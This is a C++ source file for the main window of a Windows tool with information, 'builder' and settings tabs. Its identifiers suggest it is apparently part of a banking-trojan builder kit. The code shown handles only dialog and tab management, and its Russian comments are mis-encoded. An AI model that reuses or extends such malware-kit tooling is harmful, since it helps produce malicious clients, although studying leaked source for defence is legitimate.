1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
|
#include <windows.h>
#include <commctrl.h>
#include <ole2.h>
#include <shlwapi.h>
#include "defines.h"
#include "resources\resources.h"
#include "main.h"
#include "languages.h"
#include "tools.h"
#include "..\common\mem.h"
#include "..\common\str.h"
#include "..\common\crypt.h"
#include "..\common\fs.h"
#include "..\common\gui.h"
#include "..\common\comlibrary.h"
//Ãëîáàëüíûå ïåðåìåííûå.
HMODULE currentModule; //Õýíäë òåêóøåãî ìîäóëÿ.
WCHAR homePath[MAX_PATH]; //Äîìàøíÿÿ äèðåêòîðèÿ.
WCHAR settingsFile[MAX_PATH]; //Ôàéë îïöèé.
# if defined SUBSYSTEM_CONSOLE
# else
static HRESULT comResult; //Çíà÷åíèå îò ComLibrary::_initThread().
//Äàííûå î âêëàäêàõ.
INT_PTR CALLBACK toolInformationProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
INT_PTR CALLBACK toolBuilderProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
INT_PTR CALLBACK toolSettingsProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
typedef struct
{
HWND hwnd;
DWORD lngId;
DWORD resId;
DLGPROC dlgProc;
}TOOLDATA;
static TOOLDATA toolsList[] =
{
{NULL, Languages::tool_title_info, DIALOG_TOOL_INFO, toolInformationProc},
#if(BO_CLIENT_PLATFORMS > 0)
{NULL, Languages::tool_title_builder, DIALOG_TOOL_BUILDER, toolBuilderProc},
#endif
{NULL, Languages::tool_title_settings, DIALOG_TOOL_SETTINGS, toolSettingsProc},
};
static BYTE lastTool = 0xFF;
#define toolsCount (sizeof(toolsList) / sizeof(TOOLDATA))
/*
Çàãðóçêà âêëàäêè.
IN hwnd - ðîäèòåëü.
IN index - èíäåêñ âêëàäêè.
*/
static void loadTool(HWND hwnd, BYTE index)
{
if(index != lastTool)
{
TOOLDATA *ct = &toolsList[index];
CWA(user32, SetDlgItemTextW)(hwnd, IDC_TITLE, Languages::get(ct->lngId));
if(lastTool != 0xFF)CWA(user32, ShowWindow)(toolsList[lastTool].hwnd, SW_HIDE);
if(ct->hwnd == NULL)ct->hwnd = CWA(user32, CreateDialogParamW)(currentModule, MAKEINTRESOURCEW(ct->resId), hwnd, ct->dlgProc, NULL);
lastTool = index;
CWA(user32, ShowWindow)(ct->hwnd, SW_SHOW);
}
}
/*
Ôóíêöèÿ ãëàâíîãî îêíà.
*/
static INT_PTR CALLBACK mainDialogProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_INITDIALOG:
{
//Çàïîëíÿåì ñïèñîê âêëàäîê.
{
HWND hLB = CWA(user32, GetDlgItem)(hwnd, IDC_TOOLSLIST);
for(BYTE i = 0; i < toolsCount; i++)CWA(user32, SendMessageW)(hLB, LB_ADDSTRING, 0, (LPARAM)Languages::get(toolsList[i].lngId));
CWA(user32, SendMessageW)(hLB, LB_SETCURSEL, 0, 0);
}
//Çàãðóæàåì èêîíêó.
{
HICON hIcon = Gui::_loadSharedIcon(currentModule, MAKEINTRESOURCEW(ICON_MAIN));
CWA(user32, SendMessageW)(hwnd, WM_SETICON, ICON_SMALL, (WPARAM)hIcon);
CWA(user32, SendMessageW)(hwnd, WM_SETICON, ICON_BIG, (WPARAM)hIcon);
}
//Îòêðûâàåì âêëàäêó ïî óìîë÷àíèþ.
loadTool(hwnd, 0);
//Âûñòàâëÿåì çàãîëîâîê.
CWA(user32, SetWindowTextW)(hwnd, Languages::get(Languages::main_title));
break;
}
case WM_DESTROY:
{
for(BYTE i = 0; i < toolsCount; i++)if(toolsList[i].hwnd != NULL)CWA(user32, DestroyWindow)(toolsList[i].hwnd);
break;
}
case WM_CLOSE:
{
//Ðàññûëàåì âñåì âêëàäêàì ïðåäëîæåíåíèå î çàêðûòèå.
for(BYTE i = 0; i < toolsCount; i++)if(toolsList[i].hwnd)
{
if((bool)CWA(user32, SendMessageW)(toolsList[i].hwnd, WM_CANCLOSE, 0, 0) == false)return TRUE;
}
CWA(user32, EndDialog)(hwnd, 0);
break;
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_TOOLSLIST:
if(HIWORD(wParam) == LBN_SELCHANGE)loadTool(hwnd, (UINT)CWA(user32, SendMessageW)((HWND)lParam, LB_GETCURSEL, 0, 0));
break;
default:
return FALSE;
}
break;
}
default:
return FALSE;
}
return TRUE;
}
#endif
/*
Òî÷êà âõîäà. */
|